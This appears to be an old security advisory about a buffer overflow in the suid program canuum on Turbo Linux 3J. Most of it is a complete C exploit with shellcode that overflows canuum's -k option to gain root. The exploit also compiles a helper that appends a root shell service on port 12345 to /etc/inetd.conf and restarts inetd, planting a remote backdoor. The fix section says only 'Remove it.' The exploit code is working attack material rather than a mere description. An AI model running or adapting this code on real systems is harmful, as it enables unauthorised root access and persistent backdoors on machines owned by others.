COMMAND

    canuum

SYSTEMS AFFECTED

    Turbo Linux3J with canuum 3.5b2

PROBLEM

    UNYUN found following.  This is a suid program which is  installed
    some Linux  distributions for  Japanese edition  with default.  It
    overflows  if  the  long  argment  is  specified  with some option
    specifications such as  -k,-c,-n, the local  user can obtain  root
    privilege.

    Exploit:

        http://shadowpenguin.backsection.net/toolbox.html#no047

    This exploit is for Turbo Linux3, the local user can obtain a root
    privilege.

    /*=============================================================================
       canuum Exploit for Linux
       The Shadow Penguin Security (http://shadowpenguin.backsection.net)
       Written by UNYUN (shadowpenguin@backsection.net)
      =============================================================================
    */
    #include    <stdio.h>
    
    #define RETADR   1676
    #define MAXBUF   2000
    #define JMP_OFS  0x200
    #define NOP      0x90
    #define SHELL    "/tmp/pp"
    #define COMPILER "gcc"
    
    
    char exec[60]=
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff";
    FILE *fp;
    
    unsigned long get_sp(void)
    {
        __asm__("movl %esp, %eax");
    }
    
    main()
    {
        char            buf[MAXBUF+1];
        unsigned int    i,ip,sp;
    
        sprintf(buf,"%s.c",SHELL);
        if ((fp=fopen(buf,"w"))==NULL){
            printf("Can not write to %s\n",buf);
            exit(1);
        }
        fprintf(fp,"main(){setuid(0);setgid(0);");
        fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i");
        fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n");
        fclose(fp);
        sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
        system(buf);
    
        memset(buf,'a',MAXBUF);
        buf[MAXBUF]=0;
    
        strcat(exec,SHELL);
        memcpy(buf+300,exec,strlen(exec));
        sp=get_sp();
        ip=sp+JMP_OFS;
        printf("Jumping address = %x\n\n\n",ip);
        printf("Please execute following command after \"Segmentation Fault\"\n");
        printf("\ntelnet localhost 12345\n\n\n");
        buf[RETADR  ]=ip&0xff;
        buf[RETADR+1]=(ip>>8)&0xff;
        buf[RETADR+2]=(ip>>16)&0xff;
        buf[RETADR+3]=(ip>>24)&0xff;
        execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
    }

SOLUTION

    Remove it.